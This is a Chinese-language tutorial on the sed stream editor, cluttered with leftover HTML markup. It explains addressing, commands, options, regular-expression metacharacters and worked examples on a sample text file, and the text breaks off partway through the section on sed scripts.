">http://blog.chinaunix.net/u/22677/showart_1076318.html</a><br /></strong><strong></strong><p>&nbsp;</p><p><strong>1.简介</strong></p></div><div style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; "></div><div style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; ">sed是非交互式的编辑器。它不会修改文件，除非使用shell重定向来保存结果。默认情况下，所有的输出行都被打印到屏幕上。</div><div style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; ">sed编辑器逐行处理文件（或输入），并将结果发送到屏幕。具体过程如下：首先sed把当前正在处理的行保存在一个临时缓存区中（也称为模式空 间），然后处理临时缓冲区中的行，完成后把该行发送到屏幕上。sed每处理完一行就将其从临时缓冲区删除，然后将下一行读入，进行处理和显示。处理完输入 文件的最后一行后，sed便结束运行。sed把每一行都存在临时缓冲区中，对这个副本进行编辑，所以不会修改原文件。</div><div style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; "></div><div style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; "><strong>2.定址</strong></div><div style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; "></div><div style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; ">定址用于决定对哪些行进行编辑。地址的形式可以是数字、正则表达式、或二者的结合。如果没有指定地址，sed将处理输入文件的所有行。</div><div style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; "></div><div style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; ">地址是一个数字，则表示行号；是&#8220;$"符号，则表示最后一行。例如：</div><div style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; "></div><table style="table-layout: auto !important; "><tbody><tr><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; "><p>sed&nbsp;<span style="color: #0000cc; ">-</span>n&nbsp;<span style="color: #ff00ff; ">'3p'</span>&nbsp;datafile<br />只打印第三行</p></td></tr></tbody></table><p>地址是逗号分隔的，那么需要处理的地址是这两行之间的范围（包括这两行在内）。范围可以用数字、正则表达式、或二者的组合表示。例如：</p><table style="table-layout: auto !important; "><tbody><tr><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; "><p>sed&nbsp;<span style="color: #ff00ff; ">'2,5d'</span>&nbsp;datafile<br />#删除第二到第五行<br />sed&nbsp;<span style="color: #ff00ff; ">'/My/,/You/d'</span>&nbsp;datafile<br />#删除包含<span style="color: #ff00ff; ">"My"的</span>行到包含<span style="color: #ff00ff; ">"You"的</span>行之间的行<br />sed&nbsp;<span style="color: #ff00ff; ">'/My/,10d'</span>&nbsp;datafile<br />#删除包含<span style="color: #ff00ff; ">"My"的</span>行到第十行的内容</p></td></tr></tbody></table><p><strong>3.命令与选项</strong></p><p>sed命令告诉sed如何处理由地址指定的各输入行，如果没有指定地址则处理所有的输入行。</p><p><strong>3.1 sed命令</strong></p><p><table style="table-layout: auto !important; "><tbody><tr><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">命令</td><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">功能</td></tr><tr><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">a\</td><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; "><p>在当前行后添加一行或多行。多行时除最后一行外，每行末尾需用&#8220;\&#8221;续行</p></td></tr><tr><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">c\</td><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">用此符号后的新文本替换当前行中的文本。多行时除最后一行外，每行末尾需用"\"续行</td></tr><tr><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">i\</td><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">在当前行之前插入文本。多行时除最后一行外，每行末尾需用"\"续行</td></tr><tr><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">d</td><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">删除行</td></tr><tr><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">h</td><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">把模式空间里的内容复制到暂存缓冲区</td></tr><tr><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">H</td><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">把模式空间里的内容追加到暂存缓冲区</td></tr><tr><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">g</td><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">把暂存缓冲区里的内容复制到模式空间，覆盖原有的内容</td></tr><tr><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">G</td><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">把暂存缓冲区的内容追加到模式空间里，追加在原有内容的后面</td></tr><tr><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">l</td><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">列出非打印字符</td></tr><tr><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">p</td><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">打印行</td></tr><tr><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">n</td><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">读入下一输入行，并从下一条命令而不是第一条命令开始对其的处理</td></tr><tr><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">q</td><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">结束或退出sed</td></tr><tr><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">r</td><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">从文件中读取输入行</td></tr><tr><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">!</td><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">对所选行以外的所有行应用命令</td></tr><tr><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">s</td><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">用一个字符串替换另一个</td></tr><tr><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">g</td><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">在行内进行全局替换</td></tr><tr><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; "></td><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; "><br /></td></tr><tr><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">w</td><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">将所选的行写入文件</td></tr><tr><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">x</td><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">交换暂存缓冲区与模式空间的内容</td></tr><tr><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">y</td><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">将字符替换为另一字符（不能对正则表达式使用y命令）</td></tr></tbody></table></p><p><strong>3.2 sed选项</strong></p><p><table style="table-layout: auto !important; "><tbody><tr><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">选项</td><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">功能</td></tr><tr><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">-e</td><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">进行多项编辑，即对输入行应用多条sed命令时使用</td></tr><tr><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">-n</td><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">取消默认的输出</td></tr><tr><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">-f</td><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">指定sed脚本的文件名</td></tr></tbody></table></p><div style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; "><strong>4.退出状态</strong></div><div style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; "></div><div style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; ">sed不向grep一样，不管是否找到指定的模式，它的退出状态都是0。只有当命令存在语法错误时，sed的退出状态才不是0。</div><div style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; "></div><div style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; "><strong>5.正则表达式元字符</strong></div><div style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; "></div><div style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; ">与grep一样，sed也支持特殊元字符，来进行模式查找、替换。不同的是，sed使用的正则表达式是括在斜杠线"/"之间的模式。</div><div style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; ">如果要把正则表达式分隔符"/"改为另一个字符，比如o，只要在这个字符前加一个反斜线，在字符后跟上正则表达式，再跟上这个字符即可。例如：sed -n '\o^Myop' datafile</div><div style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; "></div><div style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; "><table style="table-layout: auto !important; "><tbody><tr><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">元字符</td><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">功能</td><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">示例</td></tr><tr><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">^</td><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">行首定位符</td><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">/^my/ 匹配所有以my开头的行</td></tr><tr><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">$</td><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">行尾定位符</td><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">/my$/ 匹配所有以my结尾的行</td></tr><tr><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">.</td><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">匹配除换行符以外的单个字符</td><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">/m..y/ 匹配包含字母m，后跟两个任意字符，再跟字母y的行</td></tr><tr><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">*</td><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">匹配零个或多个前导字符</td><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">/my*/ 匹配包含字母m,后跟零个或多个y字母的行</td></tr><tr><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">[]</td><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">匹配指定字符组内的任一字符</td><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">/[Mm]y/ 匹配包含My或my的行</td></tr><tr><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">[^]</td><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">匹配不在指定字符组内的任一字符</td><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">/[^Mm]y/ 匹配包含y，但y之前的那个字符不是M或m的行</td></tr><tr><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">\(..\)</td><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">保存已匹配的字符</td><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">1,20s/\(you\)self/\1r/ 标记元字符之间的模式，并将其保存为标签1，之后可以使用\1来引用它。最多可以定义9个标签，从左边开始编号，最左边的是第一个。此例中，对第1到第 20行进行处理，you被保存为标签1，如果发现youself，则替换为your。</td></tr><tr><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">&amp;</td><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">保存查找串以便在替换串中引用</td><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">s/my/**&amp;**/&nbsp;&nbsp; 符号&amp;代表查找串。my将被替换为**my**</td></tr><tr><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">\&lt;</td><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">词首定位符</td><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">/\&lt;my/ 匹配包含以my开头的单词的行</td></tr><tr><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">\&gt;</td><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">词尾定位符</td><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">/my\&gt;/ 匹配包含以my结尾的单词的行</td></tr><tr><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">x\{m\}</td><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">连续m个x</td><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">/9\{5\}/ 匹配包含连续5个9的行</td></tr><tr><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">x\{m,\}</td><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">至少m个x</td><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">/9\{5,\}/ 匹配包含至少连续5个9的行</td></tr><tr><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">x\{m,n\}</td><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">至少m个，但不超过n个x</td><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; ">/9\{5,7\}/ 匹配包含连续5到7个9的行</td></tr></tbody></table></div><div style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; "></div><div style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; "><strong>6.范例</strong></div><div style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; "></div><div style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; "><strong>6.1 p命令</strong></div><div style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; "></div><div style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; ">命令p用于显示模式空间的内容。默认情况下，sed把输入行打印在屏幕上，选项-n用于取消默认的打印操作。当选项-n和命令p同时出现时,sed可打印选定的内容。</div><div style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; "></div><table style="table-layout: auto !important; "><tbody><tr><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; "><p>sed&nbsp;<span style="color: #ff00ff; ">'/my/p'</span>&nbsp;datafile<br />#默认情况下，sed把所有输入行都打印在标准输出上。如果某行匹配模式my，p命令将把该行另外打印一遍。</p><p><br />sed&nbsp;<span style="color: #0000cc; ">-</span>n&nbsp;<span style="color: #ff00ff; ">'/my/p'</span>&nbsp;datafile<br />#选项<span style="color: #0000cc; ">-</span>n取消sed默认的打印，p命令把匹配模式my的行打印一遍。<br /></p></td></tr></tbody></table><p><strong>6.2 d命令</strong></p><p>命令d用于删除输入行。sed先将输入行从文件复制到模式空间里，然后对该行执行sed命令，最后将模式空间里的内容显示在屏幕上。如果发出的是命令d，当前模式空间里的输入行会被删除，不被显示。</p><table style="table-layout: auto !important; "><tbody><tr><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; "><p>sed&nbsp;<span style="color: #ff00ff; ">'$d'</span>&nbsp;datafile<br />#删除最后一行，其余的都被显示<br /><br />sed&nbsp;<span style="color: #ff00ff; ">'/my/d'</span>&nbsp;datafile<br />#删除包含my的行，其余的都被显示</p></td></tr></tbody></table><p><strong>6.3 s命令</strong></p><table style="table-layout: auto !important; "><tbody><tr><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; "><p>sed&nbsp;<span style="color: #ff00ff; ">'s/^My/You/g'</span>&nbsp;datafile<br />#命令末端的g表示在行内进行全局替换，也就是说如果某行出现多个My，所有的My都被替换为You。<br /><br />sed&nbsp;<span style="color: #0000cc; ">-</span>n&nbsp;<span style="color: #ff00ff; ">'1,20s/My$/You/gp'</span>&nbsp;datafile<br />#取消默认输出，处理1到20行里匹配以My结尾的行，把行内所有的My替换为You，并打印到屏幕上。</p></td></tr></tbody></table><div style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; "></div><div style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; "></div><table style="table-layout: auto !important; "><tbody><tr><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; "><p>sed&nbsp;<span style="color: #ff00ff; ">'s#My#Your#g'</span>&nbsp;datafile<br />#紧跟在s命令后的字符就是查找串和替换串之间的分隔符。分隔符默认为正斜杠，但可以改变。无论什么字符（换行符、反斜线除外），只要紧跟s命令，就成了新的串分隔符。</p></td></tr></tbody></table><p><strong>6.4 e选项</strong></p><p>-e是编辑命令，用于sed执行多个编辑任务的情况下。在下一行开始编辑前，所有的编辑动作将应用到模式缓冲区中的行上。</p><table style="table-layout: auto !important; "><tbody><tr><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; "><p>sed&nbsp;<span style="color: #0000cc; ">-</span>e&nbsp;<span style="color: #ff00ff; ">'1,10d'</span><span style="color: #0000cc; ">-</span>e&nbsp;<span style="color: #ff00ff; ">'s/My/Your/g'</span>&nbsp;datafile</p><p>#选项-e用于进行多重编辑。第一重编辑删除第1-3行。第二重编辑将出现的所有My替换为Your。因为是逐行进行这两项编辑（即这两个命令都在模式空间的当前行上执行），所以编辑命令的顺序会影响结果。</p></td></tr></tbody></table><p><strong>6.5 r命令</strong></p><p>r命令是读命令。sed使用该命令将一个文本文件中的内容加到当前文件的特定位置上。</p><table style="table-layout: auto !important; "><tbody><tr><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; "><p>sed&nbsp;<span style="color: #ff00ff; ">'/My/r introduce.txt'</span>&nbsp;datafile<br />#如果在文件datafile的某一行匹配到模式My，就在该行后读入文件introduce<span style="color: #0000cc; ">.</span>txt的内容。如果出现My的行不止一行，则在出现My的各行后都读入introduce<span style="color: #0000cc; ">.</span>txt文件的内容。</p></td></tr></tbody></table><div style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; "></div><div style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; "><strong>6.6 w命令</strong></div><div style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; "></div><table style="table-layout: auto !important; "><tbody><tr><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; "><p>sed&nbsp;<span style="color: #0000cc; ">-</span>n&nbsp;<span style="color: #ff00ff; ">'/hrwang/w me.txt'</span>&nbsp;datafile<br /></p></td></tr></tbody></table><p><strong>6.7 a\ 命令</strong></p><p>a\ 命令是追加命令，追加将添加新文本到文件中当前行（即读入模式缓冲区中的行）的后面。所追加的文本行位于sed命令的下方另起一行。如果要追加的内容超过一行，则每一行都必须以反斜线结束，最后一行除外。最后一行将以引号和文件名结束。</p><table style="table-layout: auto !important; "><tbody><tr><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; "><p>sed&nbsp;<span style="color: #ff00ff; ">'/^hrwang/a\<br />&gt;hrwang and mjfan are husband\<br />&gt;and wife'</span>&nbsp;datafile<br />#如果在datafile文件中发现匹配以hrwang开头的行，则在该行下面追加hrwang and mjfan are husband and wife</p></td></tr></tbody></table><p><strong>6.8 i\ 命令</strong></p><p>i\ 命令是在当前行的前面插入新的文本。</p><p><strong>6.9 c\ 命令</strong></p><p>sed使用该命令将已有文本修改成新的文本。</p><p><strong>6.10 n命令</strong></p><p>sed使用该命令获取输入文件的下一行，并将其读入到模式缓冲区中，任何sed命令都将应用到匹配行紧接着的下一行上。</p><table style="table-layout: auto !important; "><tbody><tr><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; "><p>sed&nbsp;<span style="color: #ff00ff; ">'/hrwang/{n;s/My/Your/;}'</span>&nbsp;datafile<br /></p></td></tr></tbody></table><div style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; "></div><div style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; ">注：如果需要使用多条命令，或者需要在某个地址范围内嵌套地址，就必须用花括号将命令括起来，每行只写一条命令，或这用分号分割同一行中的多条命令。</div><div style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; "></div><div style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; "><strong>6.11 y命令</strong></div><div style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; "></div><div style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; ">该命令与UNIX/Linux中的tr命令类似，字符按照一对一的方式从左到右进行转换。例如，y/abc/ABC/将把所有小写的a转换成A，小写的b转换成B，小写的c转换成C。</div><div style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; "></div><table style="table-layout: auto !important; "><tbody><tr><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; "><p>sed&nbsp;<span style="color: #ff00ff; ">'1,20y/hrwang12/HRWANG^$/'</span>&nbsp;datafile<br />#将1到20行内，所有的小写hrwang转换成大写，将1转换成^<span style="color: #0000cc; ">,</span>将2转换成<span style="color: #0000ff; ">$</span><span style="color: #008080; ">。</span><br />#正则表达式元字符对y命令不起作用。与s命令的分隔符一样，斜线可以被替换成其它的字符。</p></td></tr></tbody></table><p><strong>6.12 q命令</strong></p><p>q命令将导致sed程序退出，不再进行其它的处理。</p><table style="table-layout: auto !important; "><tbody><tr><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; "><p>sed&nbsp;<span style="color: #ff00ff; ">'/hrwang/{s/hrwang/HRWANG/;q;}'</span>&nbsp;datafile<br /></p></td></tr></tbody></table><p><strong>6.13 h命令和g命令</strong></p><table style="table-layout: auto !important; "><tbody><tr><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; "><p>#cat datafile</p><p>My name is hrwang.</p><p>Your name is mjfan.</p><p>hrwang is mjfan's husband.</p><p>mjfan is hrwang's wife.</p><p>&nbsp;</p><p>sed&nbsp;<span style="color: #0000cc; ">-</span>e&nbsp;<span style="color: #ff00ff; ">'/hrwang/h'</span><span style="color: #0000cc; ">-</span>e&nbsp;<span style="color: #ff00ff; ">'$G'</span>&nbsp;datafile</p><p>sed -e '/hrwang/H' -e '$G' datafile</p><p>#通过上面两条命令，你会发现h会把原来暂存缓冲区的内容清除，只保存最近一次执行h时保存进去的模式空间的内容。而H命令则把每次匹配hrwnag的行都追加保存在暂存缓冲区。<br /></p><p>sed -e '/hrwang/H' -e '$g' datafile</p><p>sed -e '/hrwang/H' -e '$G' datafile</p><p>#通过上面两条命令，你会发现g把暂存缓冲区中的内容替换掉了模式空间中当前行的内容，此处即替换了最后一行。而G命令则把暂存缓冲区的内容追加到了模式空间的当前行后。此处即追加到了末尾。</p></td></tr></tbody></table><p><strong>7. sed脚本</strong></p><p>sed脚本就是写在文件中的一列sed命令。脚本中，要求命令的末尾不能有任何多余的空格或文本。如果在一行中有多个命令，要用分号分隔。执行脚本 时，sed先将输入文件中第一行复制到模式缓冲区，然后对其执行脚本中所有的命令。每一行处理完毕后，sed再复制文件中下一行到模式缓冲区，对其执行脚 本中所有命令。使用sed脚本时，不再用引号来确保sed命令不被shell解释。例如sed脚本script：</p><table style="table-layout: auto !important; "><tbody><tr><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; "><p><span style="color: #ff9900; ">#handle datafile</span><br />3i\<br /><span style="color: #0000cc; ">~</span><span style="color: #0000cc; ">~</span><span style="color: #0000cc; ">~</span><span style="color: #0000cc; ">~</span><span style="color: #0000cc; ">~</span><span style="color: #0000cc; ">~</span><span style="color: #0000cc; ">~</span><span style="color: #0000cc; ">~</span><span style="color: #0000cc; ">~</span><span style="color: #0000cc; ">~</span><span style="color: #0000cc; ">~</span><span style="color: #0000cc; ">~</span><span style="color: #0000cc; ">~</span><span style="color: #0000cc; ">~</span><span style="color: #0000cc; ">~</span><span style="color: #0000cc; ">~</span><span style="color: #0000cc; ">~</span><span style="color: #0000cc; ">~</span><span style="color: #0000cc; ">~</span><span style="color: #0000cc; ">~</span><span style="color: #0000cc; ">~</span><br />3<span style="color: #0000cc; ">,</span><span style="color: #0000ff; ">$</span><span style="color: #008080; ">s</span><span style="color: #0000cc; ">/</span><span style="color: #0000cc; ">\</span><span style="color: #0000cc; ">(</span>hrwang\<span style="color: #0000cc; ">)</span>&nbsp;is&nbsp;\<span style="color: #0000cc; ">(</span>mjfan\<span 